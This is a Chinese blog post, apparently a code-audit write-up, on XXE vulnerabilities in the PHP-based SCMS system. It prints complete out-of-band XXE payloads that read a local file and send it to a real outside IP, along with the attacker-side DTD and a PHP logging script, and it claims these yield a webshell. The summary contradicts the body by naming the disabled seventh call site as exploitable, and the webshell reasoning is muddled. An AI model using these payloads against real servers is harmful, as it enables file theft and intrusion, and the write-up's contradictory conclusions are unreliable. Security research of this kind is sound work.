SCMS系统基于PHP的XXE漏洞分析

SCMS漏洞分析(XXE)

众所周知,xxe是围绕xml的漏洞,所以此漏洞入手的方法就是查找PHP代码中对xml代码进行解析的函数或者xml关键字
常见函数:

file_get_contents("php://input")、simplexml_load_string

xml格式中自带的关键字:

SYSTEM、ENTITY、ELEMENT

针对SCMS系统展开代码审计

审计代码,全局搜索simplexml_load_string(xml处理函数),一共有7个。

  • 第一个

$postArr = $GLOBALS['HTTP_RAW_POST_DATA']此函数在PHP中类似于file_get_contents("php://input"),服务器获取浏览器的输入流。这里并没有对输入的xml做过滤处理,继续往下审计代码,没有发现回显点,暂时定义为xxe盲注。

补充:这里介绍一下传统三步走
  • 第一步:构造传入目标服务器的payload
    • //声明xml文件
      <?xml version = "1.0"?>
      <!DOCTYPE test [
              //声名调用外部实体
              <!ENTITY % file SYSTEM "file:///D:/666.txt">
              <!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd">
              %dtd;
              %send;
      ]>
  • 第二步:在自己服务器创建要调用的php漏洞文件
    • //用file_put_contents方法在目标服务器上传1.txt文件,内容为$_GET['data']
      <?php file_put_contents('1.txt',$_GET['data']);
  • 第三步:在自己服务器创建要调用的dtd文件
    • //再次申明调用外部实体,去访问上面写好的php文件传到目标服务器
      <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM
      'http://47.108.223.48/xxe/remote.php?data=%file;'>">
      %payload;

回到正题,对第一个漏洞处抓包

修改传入的参数,post方法传入构造的payload,放行

payload

<?xml version = "1.0"?>
<!DOCTYPE test [
        //声名调用外部实体
        <!ENTITY % file SYSTEM "file:///D:/666.txt">
        <!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd">
        %dtd;
        %send;
]>

可以看到发生了报错(PHP版本原因无伤大雅),同时爆出了目标服务器D:/666.txt这个文件的所有信息。然后会在目标服务器生成一个1.txt的文件夹,访问这个文件夹传入准备好的php漏洞参数即可拿到webshell

  • 第二个

路径写死,此路不通

  • 第四个、第五个

路径被限制,此路不通

  • 第六个

获取浏览器输入流,判断了signature、echostr是否都为空,在传输参数的时候满足一个不为空即可
$signature = $_REQUEST["signature"];
$echostr = $_REQUEST["echostr"];

抓包

构造payload

<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///D:/666.txt">
<!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd">
%dtd;
%send;
]>

和第一个相同的漏洞原理,可以看到发生了报错(PHP版本原因无伤大雅),同时爆出了目标服务器D:/666.txt这个文件的所有信息。然后会在目标服务器生成一个1.txt的文件夹,访问这个文件夹传入准备好的php漏洞参数即可拿到webshell
  • 第七个

libxml_disable_entity_loader(true);开发语言禁用外部实体为ture,无法操作

审计结束

审计simplexml_load_string函数一共发现两个漏洞点为第一个和第七个均可拿到webshell
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值